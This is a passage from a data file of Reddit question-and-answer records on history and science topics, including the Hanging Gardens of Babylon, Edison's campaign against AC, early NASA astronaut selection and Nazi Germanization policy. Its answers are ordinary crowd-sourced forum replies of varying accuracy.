["http://www.reddit.com/r/AskHistorians/comments/146zb6/original_pronunciation_of_ceasar/"]]}
{"q_id": "by88vn", "title": "liar's dice expected values", "selftext": "Hello I'm a big dumb idiot and I need some help.\n\nI've been trying to wrap my brain around the concept of expected values, specifically for Liar's Dice. On [Wikipedia](_URL_1_) they have a useful example, saying: \n\n > \"Because each rolled die is independent of all others, any combination of values is possible, but the \"expected quantity\" has a greater than 50% chance of being correct, and the highest probability of being exactly correct. For example, when 15 dice are in play and wilds are used, the expected quantity is 5. The chances of a bid of 5 being correct are about 59.5%; in contrast, the chances of a bid of 8 being correct are only about 8.8%.\"\n\nProblem is, I want to figure it out for 10 dice. And the equations and formulas I've been finding online to figure that out confuse the hell out of me on account of my being a big stupid idiot. [This was the most useful so far](_URL_0_) but it loses me about halfway through.\n\nCan anyone help? Thanks.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/by88vn/eli5liars_dice_expected_values/", "answers": {"a_id": ["eqefx0c"], "score": [2], "text": ["Hey. The real number to think about is 3 dice (or 1 in every 3 dice) when using 1 as a wild. Or 6 with no wild, but let's stick to the 3.\nThe reason I say 3 is that if you roll 6 dice and they all land on something different, then you have 1 and your desired number, so 2 in 6. 2/6 can be reduced to 1 in 3. These are just odds of course, no actual guarantee. That is why they say the chances of that estimate being correct is 59.5%. So that applies to 1 in 3, 2 in 6, 3 in 9, 4 in 12 and the 5 in 15 you had an example of. \nYou can use that as a guide so that if there is a dice count in between like 10, you know that there is better than 60% chance of 3, but much less than 60% chance of 4.\nAll that being said, always take your dice out of the equation when making the guess and add yours after since you know their value. So if there are 10 dice left but 2 are yours, make your estimate based on 8 and then add yours since those are fixed numbers that you can see.\nHope that helps.\n\nEdit, remember to keep it simple because half the fun of this game is having a good poker face and bluffing skills"]}, "title_urls": [], "selftext_urls": ["https://www.thoughtco.com/probabilities-and-liars-dice-4038637", "https://en.wikipedia.org/wiki/Liar%27s_dice"], "answers_urls": [[]]}
{"q_id": "5vw3ai", "title": "Did the Hanging Gardens of Babylon actually exist, and has definitive proof been found? Why is it the only wonder whose location has not been definitely found?", "selftext": "I was reading up on the ancient wonders of the world, and of them I found the hanging gardens the most intriguing. From what a cursory Google search reveals, there's only been mere speculation about its location. So, how do we know and have been able to get a representation of what it looks like? And it was one of the seven wonders of the world, but why was it included in the list when its existence in itself is somewhat doubtful? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5vw3ai/did_the_hanging_gardens_of_babylon_actually_exist/", "answers": {"a_id": ["de5j04k", "de5p1ce"], "score": [3324, 9], "text": ["Yes, the current consensus is that the Hanging Gardens existed. Or, we know at least that the Assyrian kings did build extravagant gardens and could devise very elaborate, technologically advanced watering systems, as described by Diodorus Siculus, Strabo, and Philo of Byzantium. But, the classical and cuneiform sources provide many different, sometimes conflicting, details about the existence of various royal gardens. I'm personally a bit dubious whether there ever existed the ONE Hanging Gardens of Babylon: the classical literary traditions might be a conflation of a number of different stories about royal gardens in the East. But, Stephanie Dalley, a now retired assyriologist from Oxford University who has written [a book](_URL_3_) and various articles about the Gardens, has come up with a nice theory for the location of the Gardens that does reconcile the classical tradition somewhat with the archaeological evidence - although her theory does (and probably will) remain unproven.\n\nDalley thinks the Hanging Gardens of Babylon were located at the Palace of Sennacherib at Nineveh. Her reason for thinking that the Gardens never actually existed at Babylon is that many generally reliable classical authors, who describe Babylon to some length and who should be interested in exactly this sort of marvels, such as Herodotus (I.181), Xenophon (in *Cyropaedia*), or Pliny the Elder (*Nat. Hist.* VI. 123) never mention any gardens - even though they do describe the magnificent walls of the city. And, even more seriously, archaeological finds or cuneiform sources in Babylon give no signs of the Gardens. Notably, king Nebuchadnezzar, to whom the wonder was attributed by classical authors, says nothing about any gardens in the abundant inscriptions that record his building-works in the city. The famous classical descriptions of the gardens, from which we know them, come from:   \n\n1. Philo of Byzantium (3rd century BC), an engineer who wrote technical treatises, described the watering system of the gardens to some length; but we do not know what is his source.   \n2. Diodorus Siculus (1st century BC, 10.1-6) quoting Ctesias of Cnidus, a c. 400 BC historian of Persia and Assyria; Ctesius\u2019 works are lost but he\u2019s generally considered a somewhat unreliable source.    \n3. The geographer Strabo (1st century AD, XVI 1.5), who according to his own words based his account of Persia in e.g. written eyewitness stories of the officers of Alexander the Great. It\u2019s not clear who is his source for the Garden of Babylon.  \n4. The Jewish author Josephus (1st century AD, *Contr. Apion.* I 19-20; *Antiquities of the Jews* X 11.1), saying that he has based his knowledge on Berossus, a Babylonian priest who apparently wrote history in Greek in 3rd century BC; Josephus\u2019 account is thus often considered the most legit     \n5. Quintus Curtius Rufus (1st century AD, *History of Alexander* V 1.35), who\u2019s description of the garden is thought to rely on Clitarchus, a late 4th century BC historian who compiled his own *History of Alexander* from contemporary eye-witness sources.  \n\nThere is an extremely handy [website](_URL_2_) that has collected together all the classical sources in English translation. So, the thing to note here is that none of these people writing about the Garden of \u2019Babylon\u2019 had ever visited Babylon, not to mention Persia, expect perhaps Philo, of whose life we know nothing. And, they\u2019re writing about the old history and geography of a distant region, the languages of which they could not themselves speak; it\u2019s a game of Chinese whispers in Greek, Aramaic, Old Persian, and cuneiform\u2026 Classical authors regularly conflate or are mislead by their indigenous sources and get details about both the Persian past and present wrong. For example, Josephus attributed the Gardens to Nebuchadnezzar, but he was also the most famous ancient Mesopotamian king known in classical antiquity who just becomes a short-hand for \u201dfamous Eastern king who did lots of stuff\u201d: quite a number of things that he never historically did get attributed to him in classical tradition. The Greeks also understood the history of Mesopotamia within a faulty framework of three successive monarchies, Assyria, Media, and Persia, completely omitting the Neo-Babylonian kingdom (which Nebuchadnezzar ruled), so they often keep getting names and successive rules of Eastern monarchs wrong. The Greek and Jewish tradition weren\u2019t very good at keeping track of names of Eastern cities: they specifically mix up Nineveh and Babylon, something that also happens in the Biblical texts (e.g. II Chronicles 33:11 says that Assyrians took Manasseh captive to Babylon, which was at the time a ruin; it ought to say Nineveh).\n\nSo, it\u2019s not difficult to accept that the classical tradition just got the location of the Gardens wrong. Dalley then further goes onto identify Nineveh as the location of the Gardens and the king of Assyria Sennacherib (705 BC to 681 BC) as their builder. One of the main reasons for this is that Sennacherib describes at length in his records that he commissioned engineering works to bring mountain water to Nineveh, in order to provide water for drinking and for a garden that he had built. There\u2019s also an architectural relief in Nineveh by Sennacherib\u2019s grandson Assurbanibal, which shows a lavish garden: [picture of the sculpture](_URL_1_), and here\u2019s a [drawing](_URL_0_)where it\u2019s a bit easier to see what\u2019s going on. \n\nSennacherib's garden has for long been considered as a sort of \u2019proto-type\u2019 of the Hanging Gardens, but Dalley thinks we should in fact consider them as *the* Hanging Gardens. We should note that the Greek description for \u2019hanging\u2019 gardens does not imply the same as the English, i.e. plants with their roots higher than the actual leaves and top. A close reading of the sources could indeed support a garden like the one described in the sculpture relief: a naturalistic landscape rising up in tiers \"like a (Greek) theatre\" (Diodorus Siculus): forest trees are planted in it in terraced levels, and water is brought into the garden along an aqueduct which is incorporated into the terracing. There\u2019s also a decorative pavilion or small palace in the relief, which might correspond to the \"royal lodges of every description\" which Diodorus mentioned. The only issue is that there\u2019s no devices of raising water in huge quantities to the garden, just how \u201dstreams of water emerging from elevated sources flow partly in a straight line down sloping channels\u201d (Philo). But, the relief is broken in the middle, and it\u2019s possible that the picture did show some water-raising device, too.\n\nSo, [here\u2019s](_URL_4_) artist Terry Ball\u2019s picture of the \u2019Hanging Gardens of Babylon\u2019 based on Dalley\u2019s instructions and the Nineveh relief. \n\nDalley further backs up her argument by noting that Sennacherib conquered and destroyed Babylon to shambles during his rule, rendering the city completely deserted for some seven years; so, technically he was the \u2019king of Babylon\u2019. And, Dalley thinks there might be some evidence that during this time Nineveh as Sennacherib\u2019s capital was considered as \u2019New Babylon\u2019, further explaining the later confusion. This is possible, but all this is bit shaky proof for Nineveh as the definite location for the Gardens. The Nineveh theory is mainly based on that sculptural relief, and it\u2019s easy to make the literary descriptions and the very scarce historical evidence we have to fit the picture when we want to make it happen, considering how much room for speculation there is. Her theory is lovely and certainly works, but we should note that there were other lavish gardens in Mesopotamia that might have just as well been the source of the classical tradition; the kings quite liked bragging about gardens and engineering works in public inscriptions. For example, the banquet stela of Assurnasirpal II from Nimrud described his engineering works that brought mountain water to his garden at Nimrud, and the huge party he held when the work was completed, entertaining more than 69,000 people with extravaganza. \n\nTL;DR: Some gardens definitely did exist in Mesopotamia; to what extent they were THE Gardens of Babylon, is open to interpretation. \n\nE: typos, and the link to ancient sources fixed\n", "As a further question - I've never been to that part of the world, but I'm thinking it has a very arid climate? Do we know if that would have been true back in the day?\n\nAlso, ~~do we have any idea what the 'hanging' aspect of the gardens was about? For me, the idea suggests hanging baskets with plants in them, but that's maybe my 21st century gardener's prejudices!~~\n\nEdit - the second part of my question seems to have been answered the gardens may have been terraced."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.bibelwissenschaft.de/fileadmin/buh_bibelmodul/media/wibi/image/sw_WILAT_Paradies_2.jpg", "http://cdn.biblicalarchaeology.org/wp-content/uploads/nineveh-garden.jpg", "http://www.plinia.net/wonders/gardens/hg22.html", "https://books.google.co.uk/books/about/The_Mystery_of_the_Hanging_Garden_of_Bab.html?id=6IUivLRnGC0C&amp;redir_esc=y", "http://imgur.com/a/MN5dc"], []]}
{"q_id": "2rpaxk", "title": "What happened to the gas cloud g2 that was on a collision course with Sagittarius A*, the supermassive black hole of our galaxy?", "selftext": "About a year ago there was a gas cloud called G2 that caused a lot of sensation because it was on a collision course with the Milky Way's supermassive black hole, the \"impact\" due for the summer of 2014. Since the announcement it has been pretty quiet and all I've heard is that the gas cloud never broke up and therefore might contain a star, or something. Does anyone have a more indepth explanation than that? What happened to the gas cloud, and if it was a star, why wasn't it affected by the black hole, which after all must have an enormously strong gravitational pull and at least affect the gas surrounding thhe star in SOME way? Do we have pictures of the \"gas cloud\" before, during and after the collision? If we don't have pictures, how did they know there was.a gas cloud there, and what happened to it? The milky way black hole is one of the most fascinating things I know, and yet the information that's readily available on it feels awfully scarce. Thanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2rpaxk/what_happened_to_the_gas_cloud_g2_that_was_on_a/", "answers": {"a_id": ["cnimxy3"], "score": [2], "text": ["[Here's](_URL_0_) a _URL_2_ explanation that has some insights into what happened. And [another](_URL_1_) more recent one with more."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nature.com/news/why-galactic-black-hole-fireworks-were-a-flop-1.15591", "http://dujs.dartmouth.edu/physical_sciences/new-theory-on-identity-of-mysterious-formation-at-center-of-the-milky-way#.VK7Wg9IRB8E", "Nature.com"]]}
{"q_id": "4drfz1", "title": "eating bread to absorb the alcohol in our stomachs is a common method to sober up a little and/or prevent us from becoming more intoxicated from what we've already consumed. our body digests the alcohol soaked bread too, though, so how is eating bread effective (if at all)?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4drfz1/eli5_eating_bread_to_absorb_the_alcohol_in_our/", "answers": {"a_id": ["d1tlnl6", "d1tonuh", "d1tsjl2", "d1tztqs"], "score": [98, 7, 13, 5], "text": ["It slows how quickly the body can process that alcohol.\n\nDrinking with an empty stomach means you get alcohol being absorbed pretty rapidly from your intestines.\n\nIf it saturates food in your stomach instead, that food has to reach a point in digestion where it will pass into the intestines before that alcohol will move on into the bloodstream, and it will take longer to do that even then.\n\nThis means you will dampen the effects of the alcohol, since a small amount of intoxication over a longer period is a huge difference from sudden heavy intoxication.", "It's all about speed.\n\nYour body processes alcohol at a set speed which is how you end up drunk.  If you ingest alcohol at a faster rate then you process the excess gets you drunk until your body can catch up and clear it all out.\n\nThe bread holds the alcohol so that your body doesn't have to process it right away and it can focus on clearing out the alcohol that's already made it into your blood stream.\n\nThis helps reduce the level of intoxication you feel as the alcohol is introduced into your system slower by the digesting bread.\n\nIt's like the difference between drinking 10 drinks in 2 hours versus drinking 10 drinks over 4 hours.  The peak level of intoxication is going to be different because your body has had time to process some of the alcohol out of your system by the time more alcohol is introduced.", "Eating anything AFTER you've already consumed alcohol does nothing to slow absorption of alcohol into your blood stream. In order for food to slow alcohol's effects, you need to eat food before drinking.  \n\nBread is a poor choice for slowing alcohols effects on the body. Breads are rich in carbohydrates, which break down into sugars which are burned (or stored) relatively quickly by the body.\n\nThe best foods for slowing down absorption are high in fat and protein, which is slowly digested and does not \"mix\" with alcohol as its digested (think mixing oil  & amp; water, they don't easily).  If you've ever wondered why drinking establishments typically all serve similar \"pub\" or \"bar foods\" like burgers, chicken wings or other fried foods it's because this food is not only high in fat (which your body craves naturally), but also usually high in sodium, which inevitably leads you to being thirsty (a catch-22 when looking to ward off alcohol's effect).", "Bread has no positive benefit beyond just putting something in your stomach.  If you want to actually counter-act future drunkenness or at least ease the hangover, then eat meat.  Protein is shown to break down alcohol in your intestines and so it will lower the tail of your binge."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4bnkkt", "title": "how chimney cleaning logs actually clean a chimney?", "selftext": "From my understanding don't you have to physically brush the sides of the chimney to get that build up off? How come burning a chimney cleaning log is recommended?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4bnkkt/eli5_how_chimney_cleaning_logs_actually_clean_a/", "answers": {"a_id": ["d1aqha1"], "score": [4], "text": ["Chemical reaction - the smoke from a chimney cleaning log allegedly has chemicals in it that will interact with the stuff built up in the chimney, allowing it to flake off on its own."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "aug5x4", "title": "Do 'normal' cats have the same wrinkles that sphinx cats have under their fur?", "selftext": "Does this apply to other mammals with fur? Also, is there an evolutionary advantage to the large amount of wrinkles sphinx cats have?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/aug5x4/do_normal_cats_have_the_same_wrinkles_that_sphinx/", "answers": {"a_id": ["eh8hauh", "eh8mgfz", "eh8vxgx", "eh8zzfu"], "score": [43, 29, 8, 10], "text": ["Yes, sphinx cats are just hairless cats and I don't think there's a real advantage to it.\nThey get cold very quickly so owning one they must always have clothing, they also have no hair to groom so they get stinky pretty easy and needs baths every 2-3 days.\nSource: I'm a vet nurse trainee, just had one come in the other day", "Note: Sphynx cats were developed through selective breeding in the 1960s. This artificial selection means the question of \"evolutionary advantage\" doesn't really come into play, unless you consider it an advantage in being selected by humans to breed.\n\nAs for other mammals, here are pictures of some examples (including some birds) [without hair](_URL_0_). Note that most of these animals have lost their hair through disease or mutation, and is most likely a detrimental condition.", "Yes, they do. My friend\u2019s cat had to have part of his stomach shaved for a surgery and underneath all of his fur, we saw that his stomach did have some wrinkling similar to a hairless cat\u2019s.\n\nThere is no real evolutionary advantage to being hairless, hairless cats were just bred selectively by humans because they liked the look. In this case, natural selection had nothing to do with the hairless cat\u2019s genesis, but rather artificial selection. ", "The advantage to having the extra skin(that ends up in wrinkles) is partially in stretching-gives them rooms to expend when running, and in fighting it lets them twist around under their skin and escape.\nBut these apply to all cats not just hairless ones. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.boredpanda.com/hairless-bald-animals"], [], []]}
{"q_id": "1159hr", "title": "It seems people often get sick when they travel. Is this because of stress and environmental factors or because one is exposed to \"bugs\" different from the ones at home?", "selftext": "For example, if I move from one part of the country to another am I more likely to get a common cold or flu because I haven't built up resistance to the local strains, or are they same throughout the country and I'm just getting sick because I'm run down.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1159hr/it_seems_people_often_get_sick_when_they_travel/", "answers": {"a_id": ["c6jg2ly", "c6jhptp", "c6jht8q"], "score": [3, 8, 5], "text": ["Strain of the flu and cold are not particularly different from one side of the country to the next, although you'd would probably see a significant change from continent to continent. The greater varying factor is usually the quality of water and any bacteria in it. Most water has bacteria in it, but not enough to make us sick, however this bacteria does create extra work for our immune system. Water quality is very different from region to region and I find I get sick much easier when I travel 300km to my cousin's house. \n\nAnother big contributing factor is the type of transportation. When you're stuck on a plane or bus for several hours you are forced to breath the same air as everyone else so it's quite easy to share diseases. \n\nStress and sleep/work schedules can also be a destabilizing factor.", "As far as I know, there's no compelling evidence that people get sick more when they travel (if anyone is aware of evidence, please point me to it). It's more likely a result of confirmation bias. If you get sick while you're on a vacation, your likely to remember it more (since it might have ruined your vacation), and if you come down with symptoms any time within a could of weeks of getting back, your brain might associate it with the trip even if you picked it up on the subway ride home from the airport. \n\nAll of the things Pharose mentioned are potential explanations, but I'm not convinced that the premise is actually true.", "People cramped together in small places like planes and such makes it easier for germs to change \"hands\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "icxme", "title": "How did Edison justify AC being more dangerous than DC? ", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/icxme/how_did_edison_justify_ac_being_more_dangerous/", "answers": {"a_id": ["c22qfgc", "c22qhw2", "c22r60r", "c22rnao"], "score": [20, 6, 3, 5], "text": ["The following wikipedia link should answer your question:\n\n_URL_0_\n\nBut basically it was a publicity campaign he spread misinformation about lethal AC events, killed animals, and lobbied against AC. He even went as far as to fund the first electric chair in NY. ", "What's wrong with the answers you get by dropping your question into Google verbatim? [Here's the top hit](_URL_1_) from [that query](_URL_0_).", "By [killing puppies](_URL_0_).", "Because AC (at least at lower frequencies) is more dangerous than DC. [This paper](_URL_0_) contains a [plot](_URL_1_) of the \"let-go\" current at different frequencies. You can see that the commonly used 50/60Hz falls in the most dangerous band!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://secure.wikimedia.org/wikipedia/en/wiki/War_of_Currents"], ["http://www.google.com/search?&amp;q=How+did+Edison+justify+AC+being+more+dangerous+than+DC%3F", "http://en.wikipedia.org/wiki/War_of_Currents"], ["http://muller.lbl.gov/teaching/Physics10/old%20physics%2010/physics%2010%20notes/Electrocution.html"], ["http://ieeexplore.ieee.org/xpls/abs_all.jsp?arnumber=4180929", "http://i.imgur.com/vktdp.gif"]]}
{"q_id": "683uy7", "title": "What kind of racial discrimination existed in US astronaut selection?", "selftext": "When I was watching Hidden Figures, I was struck by the fact that all of the Mercury astronauts were white (duh), which got me wondering about the history of racial integration of the US space program. I Googled it and the first African-American astronaut flew in 1983, first Asian-American in 1985, and first Latino in 1986. \n\nWhy did it take so long for non-white US astronauts to be accepted into the program and be picked for space flight?  I'm sure racism was a factor (duh) but were there applicants much earlier on?  Were there any non-white applicants for the Mercury, Gemini, or Apollo programs era?  Were there deliberate discriminatory policies at NASA, an informal racist policy that trashed non-white applications, or did they set requirements that only whites were likely to have met at that time in US history?\n\nSubquestion, I know John Glenn did insist on Katherine Johnson double-checking the numbers for his flight (though not waiting on the launchpad) but is there any historical evidence that he was more friendly with the African-American NASA staff than the rest of the Mercury astronauts, as the movie depicts?\n\nThanks!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/683uy7/what_kind_of_racial_discrimination_existed_in_us/", "answers": {"a_id": ["dhbqqme"], "score": [4], "text": ["The main reason that NASA didn't have any minority astronauts early on was that the military's test pilots were almost all white men at the time. Astronaut groups 1 and 2 were all test pilots, while group 3 could be either test pilots or non-test pilots with advanced degrees. Group 4 was scientist-astronauts who had to have either a PhD or an MD. There simply weren't very many African-Americans who met those criteria back then. \n\nInterestingly, Guion Bluford has gone down in history as the first African-American astronaut to fly but he as *not* the first African-American to be chosen as an astronaut. That honor goes to Major Robert Lawrence who was picked for the Air Force's Manned Orbiting Laboratory program back in 1967. MOL never flew, but the MOL astronauts under the age of 35 were given the chance to transfer to NASA's astronaut corps when the program was cancelled. Most of the pilots for the early shuttle missions were MOL veterans. Unfortunately for Lawrence he was killed in a flying accident in December 1967. If he hadn't he probably would have transferred to NASA as well and become NASA's first black astronaut back in 1969 (although he wouldn't have gotten to fly until the early 80s.)\n\nMy source for the MOL stuff is *Into the Black: The Extraordinary Untold Story of the First Flight of the Space Shuttle Columbia and the Astronauts Who Flew Her*. Air  &  Space Magazine also has an [interesting article](_URL_0_) on MOL and Maj. Lawrence. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.airspacemag.com/space/a-sudden-loss-of-altitude-14456179/?all"]]}
{"q_id": "600rbr", "title": "Any of you guys know what type of cross this is?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/600rbr/any_of_you_guys_know_what_type_of_cross_this_is/", "answers": {"a_id": ["df2n854"], "score": [3], "text": ["The cross in question is catholic, the Fleur-de-Lis is probably just French decoration as the buidling was finished in 1713.\n\nThe seminary was founded by the society of the priests of Saint Sulpice named after the church of saint-sulpice in Paris, in turn named in honour of Saint Sulpicious the Pious, Bishop of Bourges (read Tours and close to Tours). Rather ironically, he is venerated in both Catholic and Orthodox churches, as he lived from the late 6th century to 644, before the great schism split the church in 1054."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7fjbnc", "title": "what's the opponent process theory of color vision?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7fjbnc/eli5_whats_the_opponent_process_theory_of_color/", "answers": {"a_id": ["dqct262"], "score": [2], "text": ["Human eye has three kind of cone cells that are sensitive to different kind of light. The three cones are sensitive to short wavelengths (blue), medium wavelengths (green-yellow-red) and long wavelengths (red-yellow-green) (medium and long ones overlap strongly).\n\nSo light enters eye. This light exites the different cone cells differently and then the cones send signal towards brain. \n\nBut there is an extra step. At the back of the eye there are lots of nerves that do some processing to the signal. They mix the signal from the three different kind of cone cells into opponen pairs: Green-red, blue-yellow and dark-bright. These signals are sent to the brain and you see colors.\n\nThis theory predates the knowledge on cone cells (but still holds). The theory explaisn why you can't see greenish red or yellowish blue. Also rexplains the afterimages from looking at a color. If you look at red color for long time and then look at white you see blue afterimage."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3gmhi6", "title": "Would we be able to learn anything new from nuclear weapons testing using modern equipment?", "selftext": "The last tests of a nuclear explosion (notwithstanding North Korea, which would not be likely to share any discoveries in any case) was in 1998, by India and Pakistan. The USSR stopped in '90; UK in '91; US in '92; and China and France in '96.\n\nHas equipment that might be used in such tests (like ultra-high-speed cameras) improved enough in the intervening 20 or so years that we might learn something new from doing similar testing again today? To put it another way: are there still things we aren't sure about with regard to nuclear fusion and fission that might be answered with experiments like this?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3gmhi6/would_we_be_able_to_learn_anything_new_from/", "answers": {"a_id": ["ctzlbmh", "ctzmjmr"], "score": [7, 15], "text": ["Maybe, there's no other way to get energies that large.  Testing nuclear weapons hasn't been about discovering new things in physics for a long time though.\n\nFrom the 60's or 70's to the 90's, nuclear testing was mainly about validating that designs worked and that safety features worked.  For instance, the explosive core of a nuclear weapon is shaped like a football, with an explosive charge on each end.  They spent a lot of effort designing a bomb that wouldn't go nuclear if only one side detonated.  In the 90's, in the last tests, they wanted to see how bombs age.  Now they do everything in lab experiments and on computers.", "(French here) There isn't much to learn since the last tests. The ones France did was to be able to simulate accurately further design of bombs in labs.  \nThe number one reason (if I'm not wrong) for tests is to try designs that gets the best yield for a given amount of nuclear fuel. \nYou'd never get a \"clean\" bomb but the older design definitely had a lot of waste, which ended up at the bottom of the atolls we tested them in."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2s07x7", "title": "\"You would've been speaking German if it wasn't for us!\" Would the Nazi's have made people speak their language?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2s07x7/you_wouldve_been_speaking_german_if_it_wasnt_for/", "answers": {"a_id": ["cnlcmui", "cnle6hp", "cnlge5g"], "score": [2, 5, 6], "text": ["This would depend on the country, it wasn't uncommon in this period of history for an occupier to enforce it's culture and language upon an occupied people. The USSR did it in various places trough education, this would be called Russification. The Third Reich had a comparable policy in occupied Luxembourg a good example being that roads would be renamed from French to German. \nHowever, for as far as I know they didn't try to do the same thing in The Netherlands or France. \n\nIn conclusion: Depending on where you lived you indeed could have been speaking German if it wasn't for '''them''. ", "I'm fairly sure that the plans for Europe after the war was for a new German superpower, who's borders would stretch from the Germanic lowlands in the Netherlands to the Ural mountains in Russia. Those of Germanic descent (Danes, Swedes, the Flemish, some northern Italians, etc.) would have been encouraged to breed with \"full blood\" Germans, as they would all be under the \"Aryan Race\". All those in the \"Gross Deutsche Reich\" (Greater Germanic Reich) who were not of Aryan descent would be deported or killed, part of the Final Solution. The only Germanic peoples who would not become part of the Gross Deutsche Reich would those of the British Isles, who would instead become great allies, who would eventually defeat the United States (This was one of the major goals of the invasion of the Soviets, to force the British to surrender, besides Lebensraum and destroying Communism). This English ally would be much like the Prussian ideas for Austria, with constant war over German hegemony before they were allies in the First World War.\n\n\nThe land stretching from the pre war borders of Germany to the Urals would be used as \"Lebensraum\", or Living Space. This would be were the Aryan peoples would settle as colonials and eventually the Aryan race would propagate into huge numbers, perhaps billions, much like the Indian or Chinese race. However, during the war, Hitler had a lot of trouble convincing people from the Netherlands, Denmark, Norway, Sweden and Austria to join his selected Germans in Poland during the war as colonists, so the plan never propagated well and then the war was finished quickly after that.\n\n\nIn terms of a European Hegemony, Hitler envisioned a future where Europe was led by the German peoples and others were encouraged to \"live like the Germans\". France would have been a shell of it's former self, completely under German military control, whilst Italy would be a firm ally who had control of the Balkans. Japan would have been the only ally for Germany which was outside of Europe, who would keep the power of America and the Pacific in check, while the U.K would control Africa and India.\n\n\nIn all, Hitler had very few plans for Germany outside of Europe beyond an alliance with Japan and America eventually become either a subservient nation, or being punished into oblivion.", "The Nazis had a pretty far-reaching \"Germanization\" program for people they considered ethnically acceptable, like Poles of partial-German descent. They were sent to Germany to learn the language. Other Poles were considered untermensch and fit only to be slaves or exterminated. \n\nHow this policy would have applied to people like the French I don't know, but the Nazis seemed to have been pretty keen on spreading their language and culture to conquered areas. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "t0y9o", "title": "A story in need of confirmation", "selftext": "This is about the context of the bible verse Timothy 2:12 \"I do not permit a woman to teach or to assume authority over a man; she must be quiet.\"\n\nIn my religion class my professor shared this story to explain the context of the quote. The details may be off a bit as it was a side point made several months ago\n\nThere was a time in ancient Rome (I am reasonably certain he said Rome...) that a shift in the general society's approach to certain issues came about. Namely, that women were starting to gain social standing and were starting to be able to take positions that were previously male exclusive. Some of these women were moving up in the church rankings, and moving up quite quickly.\n\nTimothy (After receiving a letter on the issue from Paul, if memory serves) relayed this message to women. His intent was not to say that women should never hold power or teach over a man, but rather that they should first be taught. Once they had learned everything they would need to know, they were free to move up into leadership roles. (Maybe not all leadership roles, but a lot of them)\n\nMy professor shared this with us one day in class and I've no idea where he got this information. I'm looking for any insight or confirmation that can be offered", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/t0y9o/a_story_in_need_of_confirmation/", "answers": {"a_id": ["c4ir317"], "score": [3], "text": ["Might be worth x-posting this to /r/christianity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5h9ji5", "title": "Was the holocaust accelerated when it dawned upon the nazis that they would lose the war? If so, is there proof of it?", "selftext": "I remember being taught in school that after the nazis deemed the war lost, the effort put into the holocaust was increased. The reasoning would have been to at least achieve their goal of exterminating the european jews, even if military domination seemed to have failed.\n\nIs this consensus? Is there proof? Who's decision would that have been?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5h9ji5/was_the_holocaust_accelerated_when_it_dawned_upon/", "answers": {"a_id": ["dazj1jx"], "score": [5], "text": ["First off, this is a highly difficult question to assess. It requires getting into the minds of Nazi decisions makers, lower-level bureaucrats, and even on-the-ground perpetrators. It also requires that one, at least to some degree, answer the question of the nature of the development of the Holocaust (the so-called Intentionalist/Functionalist debate which is addressed by /u/commiespaceinvader on the Askhistorians podcast [here](_URL_0_)). \n\nThe consensus on that debate has been pretty much made as a very nuanced approach in which decision makers from above pressured or gave vague orders regarding the Jews. Those pressures led to experimentation and radicalization from below, which led to new pressures. It is difficult to know what came first, but it is clear that there was some back and forth and not all from one location. Ultimately, this means that radicalization or acceleration of the Nazi Jewish policy was certainly in the hands of Hitler. He made his wishes known and his immediate underlings, in the case of the Holocaust this was Himmler, would address those wishes by bringing concrete guidelines or actions to him for approval. Christopher Browning notes Himmler's May 1940 memorandum that set the policy on the treatment of peoples in the East (the deportation of the unwanted groups to Africa) which was Himmler's response to Hitler's earlier dislike of the previous plan (a Jewish reservation around Lublin).^1 \n\nIan Kershaw stated, \n >  the impetus Hitler provided in the framing of the barbarous plans for the invasion of the Soviet Union, his approval of Himmler's widening of the genocidal remit in the Soviet Union in the summer, his eventual agreement in September to have the German Jews deported to the east, and his overt encouragement of extermination actions in December were all crucial strands of authorization for the emerging \"Final Solution.\"^2\n\nOften, however, the radicalization of the activities against the Jews was not created through orders, but through showing favor for those who had acted in accordance with the \"will\" of the leadership. This incentivized radicalization by those on the ground. In late June, Hans-Joachim B\u00f6hme, the leader of the *Stapostelle Tilsit* (state police Tilsit) was in charge of a large group of Jews who had been separated from the local population, but there seemed to be confusion as about what to do. Ultimately, B\u00f6hme and his unit, along with others, executed the Jews by shooting. His unit them became *Einsatzkommando Tilsit*. Importantly, when B\u00f6hme met \"by coincidence\" with Himmler and Heydrich, they heard about the action against the Jews and \"sanctioned it completely.\"^3 Open air shootings then became the operating procedure for *Einsatzkommando Tilsit* then *Einsatzgruppen A* of which it was a part, and ultimately all of the *einsatzgruppen*. While the chain of events was likely not that clear, 